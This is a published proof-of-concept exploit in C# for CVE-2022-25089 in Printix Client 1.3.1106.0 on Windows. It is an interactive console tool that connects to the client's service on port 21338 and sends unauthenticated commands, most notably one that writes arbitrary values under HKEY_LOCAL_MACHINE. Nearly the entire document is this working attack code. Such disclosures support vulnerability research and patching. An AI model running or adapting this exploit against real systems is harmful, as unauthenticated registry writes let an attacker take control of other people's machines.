# Exploit Title: Printix Client 1.3.1106.0 - Remote Code Execution (RCE) # Date: 3/1/2022 # Exploit Author: Logan Latvala # Vendor Homepage: https://printix.net # Software Link: https://software.printix.net/client/win/1.3.1106.0/PrintixClientWindows.zip # Version: <= 1.3.1106.0 # Tested on: Windows 7, Windows 8, Windows 10, Windows 11 # CVE : CVE-2022-25089 # Github for project: https://github.com/ComparedArray/printix-CVE-2022-25089 using Microsoft.Win32; using Newtonsoft.Json; using Newtonsoft.Json.Converters; using System; using System.Collections.Generic; using System.Diagnostics; using System.Linq; using System.Text; using System.Threading; using System.Threading.Tasks; /** * ________________________________________ * * Printix Vulnerability, CVE-2022-25089 * Part of a Printix Vulnerability series * Author: Logan Latvala * Github: https://github.com/ComparedArray/printix-CVE-2022-25089 * ________________________________________ * */ namespace ConsoleApp1a { public class PersistentRegistryData { public PersistentRegistryCmds cmd; public string path; public int VDIType; public byte[] registryData; } [JsonConverter(typeof(StringEnumConverter))] public enum PersistentRegistryCmds { StoreData = 1, DeleteSubTree, RestoreData } public class Session { public int commandNumber { get; set; } public string host { get; set; } public string data { get; set; } public string sessionName { get; set; } public Session(int commandSessionNumber = 0) { commandNumber = commandSessionNumber; switch (commandSessionNumber) { //Incase it's initiated, kill it immediately. case (0): Environment.Exit(0x001); break; //Incase the Ping request is sent though, get its needed data. case (2): Console.WriteLine("\n What Host Address? (DNS Names Or IP)\n"); Console.Write("IP: "); host = Console.ReadLine(); Console.WriteLine("Host address set to: " + host); data = "pingData"; sessionName = "PingerRinger"; break; //Incase the RegEdit request is sent though, get its needed data. case (49): Console.WriteLine("\n What Host Address? (DNS Names Or IP)\n"); Console.Write("IP: "); host = Console.ReadLine(); Console.WriteLine("Host address set to: " + host); PersistentRegistryData persistentRegistryData = new PersistentRegistryData(); persistentRegistryData.cmd = PersistentRegistryCmds.RestoreData; persistentRegistryData.VDIType = 12; //(int)DefaultValues.VDIType; //persistentRegistryData.path = "printix\\SOFTWARE\\Intel\\HeciServer\\das\\SocketServiceName"; Console.WriteLine("\n What Node starting from \\\\Local-Machine\\ would you like to select? \n"); Console.WriteLine("Example: HKEY_LOCAL_MACHINE\\SOFTWARE\\Intel\\HeciServer\\das\\SocketServiceName\n"); Console.WriteLine("You can only change values in HKEY_LOCAL_MACHINE"); Console.Write("Registry Node: "); persistentRegistryData.path = "" + Console.ReadLine().Replace("HKEY_LOCAL_MACHINE","printix"); Console.WriteLine("Full Address Set To: " + persistentRegistryData.path); //persistentRegistryData.registryData = new byte[2]; //byte[] loader = selectDataType("Intel(R) Capability Licensing stuffidkreally", RegistryValueKind.String); Console.WriteLine("\n What Data type are you using? \n1. String 2. Dword 3. Qword 4. Multi String \n"); Console.Write("Type: "); int dataF = int.Parse(Console.ReadLine()); Console.WriteLine("Set Data to: " + dataF); Console.WriteLine("\n What value is your type? \n"); Console.Write("Value: "); string dataB = Console.ReadLine(); Console.WriteLine("Set Data to: " + dataF); byte[] loader = null; List byteContainer = new List(); //Dword = 4 //SET THIS NUMBER TO THE TYPE OF DATA YOU ARE USING! (CHECK ABOVE FUNCITON selectDataType()!) switch (dataF) { case (1): loader = selectDataType(dataB, RegistryValueKind.String); byteContainer.Add(1); break; case (2): loader = selectDataType(int.Parse(dataB), RegistryValueKind.DWord); byteContainer.Add(4); break; case (3): loader = selectDataType(long.Parse(dataB), RegistryValueKind.QWord); byteContainer.Add(11); break; case (4): loader = selectDataType(dataB.Split('%'), RegistryValueKind.MultiString); byteContainer.Add(7); break; } int pathHolder = 0; foreach (byte bit in loader) { pathHolder++; byteContainer.Add(bit); } persistentRegistryData.registryData = byteContainer.ToArray(); //added stuff: //PersistentRegistryData data = new PersistentRegistryData(); //data.cmd = PersistentRegistryCmds.RestoreData; //data.path = ""; //data.cmd Console.WriteLine(JsonConvert.SerializeObject(persistentRegistryData)); data = JsonConvert.SerializeObject(persistentRegistryData); break; //Custom cases, such as custom JSON Inputs and more. case (100): Console.WriteLine("\n What Host Address? (DNS Names Or IP)\n"); Console.Write("IP: "); host = Console.ReadLine(); Console.WriteLine("Host address set to: " + host); Console.WriteLine("\n What Data Should Be Sent?\n"); Console.Write("Data: "); data = Console.ReadLine(); Console.WriteLine("Data set to: " + data); Console.WriteLine("\n What Session Name Should Be Used? \n"); Console.Write("Session Name: "); sessionName = Console.ReadLine(); Console.WriteLine("Session name set to: " + sessionName); break; } } public static byte[] selectDataType(object value, RegistryValueKind format) { byte[] array = new byte[50]; switch (format) { case RegistryValueKind.String: //1 array = Encoding.UTF8.GetBytes((string)value); break; case RegistryValueKind.DWord://4 array = ((!(value.GetType() == typeof(int))) ? BitConverter.GetBytes((long)value) : BitConverter.GetBytes((int)value)); break; case RegistryValueKind.QWord://11 if (value == null) { value = 0L; } array = BitConverter.GetBytes((long)value); break; case RegistryValueKind.MultiString://7 { if (value == null) { value = new string[1] { string.Empty }; } string[] array2 = (string[])value; foreach (string s in array2) { byte[] bytes = Encoding.UTF8.GetBytes(s); byte[] second = new byte[1] { (byte)bytes.Length }; array = array.Concat(second).Concat(bytes).ToArray(); } break; } } return array; } } class CVESUBMISSION { static void Main(string[] args) { FORCERESTART: try { //Edit any registry without auth: //Use command 49, use the code provided on the desktop... //This modifies it directly, so no specific username is needed. :D //The command parameter, a list of commands is below. int command = 43; //To force the user to input variables or not. bool forceCustomInput = false; //The data to send, this isn't flexible and should be used only for specific examples. //Try to keep above 4 characters if you're just shoving things into the command. string data = "{\"profileID\":1,\"result\":true}"; //The username to use. //This is to fulfill the requriements whilst in development mode. DefaultValues.CurrentSessName = "printixMDNs7914"; //The host to connect to. DEFAULT= "localhost" string host = "192.168.1.29"; // Configuration Above InvalidInputLabel: Console.Clear(); Console.WriteLine("Please select the certificate you want to use with port 21338."); //Deprecated, certificates are no longer needed to verify, as clientside only uses the self-signed certificates now. Console.WriteLine("Already selected, client authentication isn't needed."); Console.WriteLine(" /───────────────────────────\\ "); Console.WriteLine("\nWhat would you like to do?"); Console.WriteLine("\n 1. Send Ping Request"); Console.WriteLine(" 2. Send Registry Edit Request"); Console.WriteLine(" 3. Send Custom Request"); Console.WriteLine(" 4. Experimental Mode (Beta)\n"); Console.Write("I choose option # "); try { switch (int.Parse(Console.ReadLine().ToLower())) { case (1): Session session = new Session(2); command = session.commandNumber; host = session.host; data = session.data; DefaultValues.CurrentSessName = "printixReflectorPackage_" + new Random().Next(1, 200); break; case (2): Session sessionTwo = new Session(49); command = sessionTwo.commandNumber; host = sessionTwo.host; data = sessionTwo.data; DefaultValues.CurrentSessName = "printixReflectorPackage_" + new Random().Next(1, 200); break; case (3): Console.WriteLine("What command number do you want to input?"); command = int.Parse(Console.ReadLine().ToString()); Console.WriteLine("What IP would you like to use? (Default = localhost)"); host = Console.ReadLine(); Console.WriteLine("What data do you want to send? (Keep over 4 chars if you are not sure!)"); data = Console.ReadLine(); Console.WriteLine("What session name do you want to use? "); DefaultValues.CurrentSessName = Console.ReadLine(); break; case (4): Console.WriteLine("Not yet implemented."); break; } } catch (Exception e) { Console.WriteLine("Invalid Input!"); goto InvalidInputLabel; } Console.WriteLine("Proof Of Concept For CVE-2022-25089 | Version: 1.3.24 | Created by Logan Latvala"); Console.WriteLine("This is a RAW API, in which you may get unintended results from usage.\n"); CompCommClient client = new CompCommClient(); byte[] responseStorage = new byte[25555]; int responseCMD = 0; client.Connect(host, 21338, 3, 10000); client.SendMessage(command, Encoding.UTF8.GetBytes(data)); // Theory: There is always a message being sent, yet it doesn't read it, or can't intercept it. // Check for output multiple times, and see if this is conclusive. //client.SendMessage(51, Encoding.ASCII.GetBytes(data)); new Thread(() => { //Thread.Sleep(4000); if (client.Connected()) { int cam = 0; // 4 itterations of loops, may be lifted in the future. while (cam < 5) { //Reads the datastream and keeps returning results. //Thread.Sleep(100); try { try { if (responseStorage?.Any() == true) { //List byo1 = responseStorage.ToList(); if (!Encoding.UTF8.GetString(responseStorage).Contains("Caption")) { foreach (char cam2 in Encoding.UTF8.GetString(responseStorage)) { if (!char.IsWhiteSpace(cam2) && char.IsLetterOrDigit(cam2) || char.IsPunctuation(cam2)) { Console.Write(cam2); } } }else { } } } catch (Exception e) { Debug.WriteLine(e); } client.Read(out responseCMD, out responseStorage); } catch (Exception e) { goto ReadException; } Thread.Sleep(100); cam++; //Console.WriteLine(cam); } } else { Console.WriteLine("[WARNING]: Client is Disconnected!"); } ReadException: try { Console.WriteLine("Command Variable Response: " + responseCMD); Console.WriteLine(Encoding.UTF8.GetString(responseStorage) + " || " + responseCMD); client.disConnect(); } catch (Exception e) { Console.WriteLine("After 4.2 Seconds, there has been no response!"); client.disConnect(); } }).Start(); Console.WriteLine(responseCMD); Console.ReadLine(); } catch (Exception e) { Console.WriteLine(e); Console.ReadLine(); //Environment.Exit(e.HResult); } goto FORCERESTART; } } }